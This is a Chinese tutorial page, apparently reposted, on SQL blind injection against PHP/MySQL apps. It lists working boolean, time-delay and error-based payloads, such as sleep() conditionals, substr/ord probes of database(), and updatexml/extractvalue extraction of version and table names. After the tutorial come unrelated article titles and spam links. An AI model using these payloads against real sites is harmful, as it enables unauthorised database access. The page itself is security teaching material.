当前位置: 首页 > news >正文

-PHP 应用SQL 盲注布尔回显延时判断报错处理增删改查方式

#PHP-MYSQL-SQL 操作 - 增删改查
1 、功能:数据查询(对数据感兴趣)
查询: SELECT * FROM news where id=$id
2 、功能:新增用户,添加新闻等(对操作的结果感兴趣)
增加: INSERT INTO news ( 字段名 ) VALUES ( 数据 )
3 、功能:删除用户,删除新闻等
删除: DELETE FROM news WHERE id=$id
4 、功能:修改用户,修改文章等
修改: UPDATE news SET id=$id
#PHP-MYSQL- 注入函数 - 布尔 & 报错 & 延迟
盲注就是在注入过程中,获取的数据不能回显至前端页面。
我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
解决:常规的联合查询注入不行的情况
我们可以知道盲注分为以下三类:
1 、基于布尔的 SQL 盲注 - 逻辑判断
regexp,like,ascii,left,ord,mid
2 、基于时间的 SQL 盲注 - 延时判断
if,sleep
3 、基于报错的 SQL 盲注 - 报错回显
floor updatexml extractvalue
延迟:(不需要有回显和报错)
and sleep(1);
and if(1>2,sleep(1),0);
and if(1<2,sleep(1),0);
布尔:(需要有回显 不需要报错)
and length(database())=7;
and left(database(),1)='p';
and left(database(),2)='pi';
and substr(database(),1,1)='p';
and substr(database(),2,1)='i';
and ord(left(database(),1))=112;
报错:(需要有报错 不需要有回显)
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
and extractvalue(1, concat(0x5c, (select table_name from
information_schema.tables limit 1)));
更多: https://www.jianshu.com/p/bc35f8dd4f7c

相关文章:

  • 进军场景智能体,云迹机器人又快了一步
  • Unity Shader编程】之FallBack
  • PGP实现简单加密教程
  • Go常见问题与回答
  • NLP高频面试题(二十)——flash attention原理
  • 蓝桥杯备考:真题之飞机降落(暴搜+小贪心)
  • 2025年具有AI招聘管理系统选型及攻略分享
  • 新手SEO优化实战快速入门
  • AG7220替代方案|ASL6328芯片设计|HDMI2.0 Retimer中继器方案
  • 6. 理解中间件与认证中间件
  • 蓝桥杯C++基础算法-多重背包(优化)
  • 6.go语言函数
  • cms注册登录
  • PDF多表格结构识别与跨表语义对齐:基于对抗迁移的鲁棒相似度度量模型
  • 对锁进行封装
  • 通义Qwen实战(2): vllm框架部署实战
  • Yolo系列之Yolo v1概述及网络结构理解
  • C —— 指针和数组的面试题
  • Scala 之 正则
  • 安科瑞微电网能量管理控制箱,光伏发电的守护者
  • 成都酒店网站建设/今日深圳新闻最新消息
  • wordpress加漂浮广告/百度关键词自然排名优化公司
  • 企业网站改版新闻/站长之家官网登录入口
  • 网站建设需要的图片怎么弄/市场调研的五个步骤
  • 开网站建设公司心得/百度快照入口官网
  • 哪些网站不扣流量/广东网络优化推广